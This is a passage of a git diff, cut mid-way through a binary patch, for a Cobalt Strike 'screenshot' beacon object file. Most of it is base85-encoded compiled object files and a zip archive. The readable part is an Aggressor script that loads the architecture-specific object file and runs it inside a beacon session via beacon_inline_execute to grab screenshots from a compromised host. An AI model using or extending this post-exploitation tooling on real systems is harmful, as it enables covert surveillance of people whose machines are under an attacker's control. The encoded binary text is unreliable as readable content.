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 diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj index 96192594ab673a52187a75dc6b16eb9c1d428582..8b2d2fe5365cd4cd80c3616bd9cda544c655312b 100644 GIT binary patch literal 5422 zcmds5ZERE589u=w7zjz&+(JJwEVL=vmKz7 zQb3-z+};IsQq`?fC+$b8^#@bY$|xXy#A&vqQ#J*bX{nY?2BlM2{3B9RHLaqt=bUq| zzbG2hX8bvnqfyYUoi&$qFK-Bh%0B} zl|8-22&$EkO%_7lTPv7)G0;eIi^JGYVR|}{*KUnd6?BCwH1ug;&B~nkf?8qy}+gao5xr%swlm&laaWi zy{C^4Hk?UER4#Mi<-O$a#=S?rIRP^WP)hY!eLEL zL$U<*IpEpWFf7c~oG7r`3QtsNN|UG1ZP7a?JO(?7?#p@zvI8(H3`?02!c6Vc6CX|R z_`Ntp-_fnoo2(;JX(DM=r5jpKXp5PWGs$Zg3bYpz)(hFP|}IaY}|#^?l+6B(nksLA|lO`1(4i&SYA%dl529e50C7CM2= zWszoITR&K#(TT)xkxD1#r!?sX!oAcQULnGTJ$HVlk`Gqv>g)MJgV~<~a$-7(} zql;{oF*?myti)c~Rz7q?s8-X(y>z<#!YycM(sUwOtV&lk`D$iEBkBwHjrzg^qrM=5 zoBXOU>bf8=B8WO@>lhs`<|ZtvQVIc)Q;CrxRZd}}S?Kg`nnFyZ1&cJU$rTnk_1cQT zB260SK^vdH$qdFg-moT7!`Z5(MefvPO}?D#RQkS7r61^2`aw?VfQ4X zQ!~t|8Sd1KMrZa?8}le_kw&>kGs2@$?$Ib#8P;kvo$HY%En1{$Ra(4T|DSvJ?taYt zlWmESVpYDR(My?}gB6?8q~-ig+%*E_IlfhKf-16GHF=v0ir4UX}QD=d@0hF3(pd2Ih*-uD!;>->FK=^N)hCo?UyL zWt2`;UY=ilbt8v#c}RNiaCoC8TlKNV=(#G0GTtNx@EtF-Y26;Y{;uJl78&Y4rwyb(dpBHeC`}~>rbxWXcz>{n!R#q4kr5}A zB3l|kV!||p3wWmuxzE>=E}<1*v5p{8zmmiVc3sh zhuVsEs`4VTkxEDEK1SUCPqPPjch|a&Y7W`X)z5fu7|k0#wb>ApZ9= zpG(N6K!ST4|M3NP9Y}D!I30rf8Ia%(t~9tS88i#DmXDVP64rmKgpg9s?FHJz(Lo?P zM@KT~B#`jvGSFr&-L;C4EgZRk*qW4(7lA4{>H!kbJqNUvb3;H+ar9fDr#TwWNN;7N z{{#|IdmIN{cvK6tjrTa1K|!GBz}ZM2P!*TH0`v?=-#&5W*MD35U3KXvOMfkYqq+8E z%bFiI9NTz$`>M?k-+21s{F6WW{4X0G+4d2Xd2t3KJ$;T)$A>>yS#%Hoh%Cg}sRZJV znwp;ya!xS0_d+Zbu@ois-q|MiPKbqr&U99&qul!-77{w_M##$StN$Jqh}Bq7UYO1b zl6yO35=#-gAF{Ie_g}D$gi`6-zq_`62Rj(Nw?${_cd;GLdkJRu_FeWurkSHvI?%IEW6+3uB)wViXxpT zO~^8Vc&NQw`QI9i{1)!qUTX|52J$K0_&U|n9!Bk~&zGS~V|UzHw=-!qrJM={m8L*ntZ+yO#dzqKap}9X^$_(SJo~#N z?Sbxw?(Rr1+p$3Ei3Ga}!^##T4*ve8idcCAa6hi(Oe-8|RRZ0iR}@2B;3jj%jey3S zwVB`)7$jpC=9*L>ZpPP}ti6)&d3+_S>`{7xeJ>m9V~_#ncmWxU;(Lv$KPPJnRO2BW zf*sj|(Ts!PbRKOuf@5)@=794U+2`jUg8WJ}8i_K|0WLboL_T~HI?(8DlN!8j5u+>Q PvQGN_PN%og1=aroz!qKK literal 3884 zcmds4eN0-FOT)xJ?^>vU#zrG0FD6w2Di!j|CB zYFvF{G|o7qCjK!$Vob!uxsPZ9y2;cT7sZGMlV-ArSxuTqls_6i@?s{y4z?W%)5dA~K66RUS}ldV0C!&timbfnW7X#t{Dmn7)peqQsIdHSp=kmIowyo9u{o#-)67H=2SGw8ibUB+Pr$@4S z?X6p@{q_#8-{W;S+x$*Xn}560f&CsgwmX}hxWjXgS!c-?mt*yoC6;Ijg_q>PExY8^ zS!r`Qwpk_YsTOo0{cnb~o8v-26*h-%+A07v4{SC!Mg|aaI6ZEc^kI|VmU@h}x44iR~0SnUb) znM@{x*zEY8sA}r$=_{C%HOo|~Wja--@6*zWw0RHN1_do#PWr^@QpLq!5~mf3!;G?x z!<5p-;gp6`bvT{G)0#9@CuNe-3^$a-bDD3igKN%fc*d8U~@j}mxkxvY;Cd@ zcU|+%a{0xbpPkD$$d`tzz^_WMQ4Z^rx|#je%t+$&`ufp=8KD1odI&suaQir(B_56A z6zk~gXB?krqiNES5EVoX@_fuGos3#HtcacR0|>vzn8>M zYSPGGKPII^rH{5&W@NQYT>gmtg6?kMZtKrpT1xHPYgRlJYiON?$x zq*AXWF03s6bZo8|sF5U2LBgSshFz7l?TU@ZK1sHc4>Bj=^@oQ0hqS@WA8#rZoS#Sx zP9U|G?;I2zlnI`orNecm^GPDY3&`b|rnE z*N;M8&w_i2v4*7drGkci=R1@&!*~=NO=mZru^OHNE(3L#=Cz6^d7(&?S>3#p7KZ;( z4GNlkd`LD+Pz5|IDcS(fwG?g6A#)Dhl|v5!S_i)pL_Vff6diykd3Tf`4W3s}bPS$X zQuGNt%P2YnPqx}OfXXRHj=|0Ft3u=mtfpKVo=op=K+N7ss3KCWC1@R>t0>wCi1=NC z9Dqn!mmn7)Huoh!a0LMFRX|r$^e&)lC?e@#=qw;+xeC7E8>#eVK-W@q6woG$J_aOE z^fe%sgA}0aDEB*{YKqpv_x*Z`Y5_5+1rU?o3y68Y1JI3B?*l;OxRszUa_BoiHI(}q z5ZRLw^ednnD7t&+M{oZyd#tYf$GPt-4mVrksdpdSe-U*J?0)K*=4C(8^9YJa3`TqU zOySV+y(@|q77!{%VwW6HO=j~82n{i&@NNXDK*dF4Wa^?;crSuLL1%K2oD2%@MBpgs zkXsRHo6ZO+3Q&!wrO9$nmV(<(R_T^$J+OxQLv##qCd+;rEAo`uu(yy`a&XR~P5lJ-DVtRz3UU zs@x;VYAhU#i?;EzJ9&FPh_ UZf}%MU~*rU^!r88ZF7L?KflvlRR910 diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index 72d48df..3fcd237 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -11,11 +11,14 @@ alias screenshot_bof { # figure out the arch of this session $barch = barch($1); # read in the right BOF file - $handle = openf(script_resource("screenshotBOF. $+ $barch $+ .obj")); + $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); + + $args = bof_pack($1, "z",$2); + # announce what we're doing btask($1, "Running screenshot BOF by (@codex_tf2)"); # execute it. beacon_inline_execute($1, $data, "go", $args); -} \ No newline at end of file +} diff --git a/bin/screenshotBOF.zip b/bin/screenshotBOF.zip index 5f6b83918689def59337fbbfdb520d62b04aab8d..47aff69e1af7034d5bb8998cd90c48bda0889e6a 100644 GIT binary patch literal 6093 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 VPlb;0=MSSjK8cUt%|P~N_Yc9W9xMO= delta 4401 zcmZXYWmFW3x5bB$89++9JEc2BdI0GL5s(gHKuM{QMjD44YCw8O32B@ez>$uT4n-J3 zQuGocynEkUZ@vFr?|j+oth3Jk`aAnfNDT93iBhyC*jO!>F&9G!0D$6bB@U>O2}bg6 zzs)|ho3g~qP9Nrn|Jk3)B>(6bv#&t zvjC)DC_FtOx_#HjW_P9jl>vJ5sq)j6xY6v8qV!iMnt^JF;Cz=$uFc2_tb+MxMZ_B4%b zr!xHqaF%3U5);3glarrJb?nB;!(S*Xbs;H=biY{6+1*YUQq_tw(xLWP3C3TsJ;f{_)vW)tCSZ^Nv%kSXv?#f9O~#Qe<4L1(;& zjAOqCLN!wDi1q*3}`|;$sSw z(^ta_G$UwQe_!WU4*H!J`?`vfTa^57^%^?7F^D<6hwQjl-hueiB_>?B8BcNaGR!Gx zDL7kC-3neWDT92z&<7Ihq6xncfDe*8a#Yn28X*VS3pQNN8PkY;tV;mL8q-Enheq%w z#i(~uVVO>M1=?R(TXu`nlBPw0kix-Nyi(|GTOa-7z0Wy|NamPc5OVCm>G zmd5VEJtKbUs0UYSQCFb~7k#70;!!V?flR(fl!^C^;)mP>#B@2;sSZoF+Ag6Z`c*@W zIgzc(V@Rt3Yl*4)bQcFRkIQS{*Zx~3!UYn!tb&CbNhAW7vU%>ccMTrdS_mO!E+2DI zBb4{6q#Ue>5(?pUY;uy_W~v=u>GMb6hvep+}CDcFf}#GPV9 zfc0(c39DX2DN(axU`&tgaFbA<+lNj93D%Po0w=Wa$JGu7{a=;j_!X6%jj(UJXA8Zn zgHE@LYiFVqBocI;0V8W%&rqhF&WlbCsfAbeMWv~HauP^>=(25HFiCUk`9c6v?RxKV zX4MIq@s30`U0obLK^S$iY1i+pE}WcrScT2WPMrQJ9( zvn@P<2|I3nobhJzBa6KpLjgUXs%;}!?{~SOLS>&pSq0aBb0$Ldq(1@iNBLfG z&dki)lSBU9h?75T8euGcyt|>G@+sP_7?Jn1LF5QADDm2;cgG=NdoH4xaM{50?(_sP z`+P9081K)LRfbSfcjDR=Mc9*G(IOzR>$owFkeRj|U=_g{IBTaU&`_oTMFwfcBm$QSlDyevhL@I1p11?ep$FK&XJO5+Dwr8zsWqchv}g^2ZKr zS4BWGfQ`Gm`HtbzKM@A6LTK9wyr?varxGGp<%j%srvD=JW$ov{jU8&+KeNYz`@EEo zM@h67R!KNsEu=qCM*m^t17(hv5MKtx>t1ohULTBq2df0d|8~zp#K9P&Z+4*9Ay0$+ zfA9TztJ({n-5X`!9=v{jHn}d?eBBY=ehGm}21DUzw_Pv(v^ovq9p@`v(;;O#)VqJK zD)g7cWDwPw_9N1RzX}WWC|Rn+y9`-km&JQl!h`W* zjB8UAM)^fYm_$6H=%~%obzm(ddl`eh!6CH8ZA$C5UACgN#U(y6>-d+WxpgKU%$nvF z=2Xm&4JTqmMwo;33<+tQF-;Xi&TXHN+nPF;oOq^gUOPVKD#G4ry|3R-I-pGItVmm7 zn)Z4#V5$$@Vk8DJu}m55ZRqmA$NBkOj>UGxy{QG35b|FY^j&IF;e6b#233!-HWj&# zIu@7sY*Gae2c$)^aL!55dOO@cR;{+++{mhHqhZKwg|VitobrO2yuB1p%TnUk5TEx$ z_dh4{pj5jzWwRYw#ck+x6`*X${JJ}9`Ml?c#pca6-?OnqX2K=ODdr~uTN*)5B;q6H zqJ>5}b4wz5&tj!U@Gr9Ulxb)+M8_ve#i#O!7jy2sYXZ4!34TW7%7kWCBkNxkY?xT! z{{#H-e}iA7X)^yU2>>8U^$+&}08JCHgoW!1cXtS^<1RJy?-Rhnib>5OhF*RVJtn2o z6o?sZ&!f;yqJnUS+IQp!N4-+_*jrYa?}e}*vNQ9+yyeWBWmu$Ka6@V*G@59`A&QDm zBbf51e9GS>W$Xfmn0?+2-8uh=y*}#hfB(Lp|K`~4NNMo*Z;l<6jX%ayg<5S)dy4*u z0AbBco>pdPteLgmaU65A{e!DwX5UUCYd=}?nzas7Q(P%Q;jHmB zDiZcndMt|7N%xO;bGlX@$8*Hgh&qMQe&fvwEaRS@=Rhv;tn7a+oOQp_8dJ~b;%GAq z_Grd@Yq9Ul4Gv9;O$?~5I%o)7)kuer^Fi5I+3G>RR#HN~yY*D)GgSX*+KdhNaz>L&>?E-Zb^wx$5R*n&^yL z(8IoTfY(8tBpj^@S~`H#VER}O*Kmem*R3G}dhL=o>XooBJlZz0xKG1`W{G=z*CiS} zcr`2(6e&sf3|JO%zlgL3vB_XX{MYTLJt<+wX{j}DxC)7Wd4I4lX5g{(aU9DC z&$$Rsn%q97*A9rZ>_*)US?&_hIbP5nV{<(zZD&_&kNu(vm-((fa?@=wp}*^p0GWn zPNLmBp&@Lm&(Az#R+CE3`6rAAUpE z~~F`yPrZi8qX3~ea45YF6PrvBtqK>wMMT3f#MQBvTl>E@wYO)!{QmHX`u!YLs;prC1F zSMujG$<1=7)EVa8W7O`mcvC0=IDcy?`qcn6uQRJJx-?#_g)LCu?l|K>f)g!)@}frs zGc^J&Q?e@1lUy=4tD|APKM_!CKNxR+{)&sSSp7fa7f_!CK}FsXD9Vm57NV z^3Knw(wsPbb*iU784=QH*67O{E^v4wU*qhf*_saXpAi7n_?ex@r_dp%*n!*`lUJis zR}`jqz)-+)@(gUkDf(*cpl}rZJy4C29f?daDvkU)ZG>BHyUktL{}HX4Xr6voTe;_M z`Ij#-!|;SV@$JdJ?$^aAuSoLphuLQ9>G3QxK48-ji}lnWEt6f3b)O5)x|E=D+%Wtu z=GxmwSIhN{0NX=ru*@*7e7X`{Bh>kl`X4plqD^wZjLp<_q1Kf*fD{{DKGqeHD- zQAR|z3&l(9d$o!zYP~*OuG=oC(Rx_6zJN#s-<5KyIsC*-Y7kkVBH~dZP*i6vWlTTU z({B$# zSVbcTOm*|8JW-6Yk*Pkpil-b;9H#<~w4^fj5X|B%WJ6dnpF2fz6Z0zv>W|;H>@eN; z)lp;gA(gppbVe=6zX-Idh8K}yto?kQ%LR=Jr6pVAmEQFTz&c|{^QBxx%o#z~QW`F! z?%8lY&tiEbv~aapF0&;7|5WIM?H>oJ*~)tF^V!KP^ldX701Y7npKP8lQDU=Ms0h)VqBM!AlhkGq?Ne?_c00 zT3!^oE{1V~GE9@g!%L0i3Cw{_uS0dTDsmd6D-IuCi*3YZz6SG}y;=2x1i<|$Mm({q zUcIc4-xLhJN%AVHG`?J;{lc?5y!ti6B=s;J20fBjL_6QF@UQ>|hJSw;U@!)GEvGQ} zOfPiL2o?vH@KxY~FvFGpJ)PR7H6Y%di{C{bf?{6;tQ(Pbb00X4pKVARR2TcmAyUWT#2H^T{YXSfhV0phS^dHmzQCK4*3rR8cKhysL D^JGVl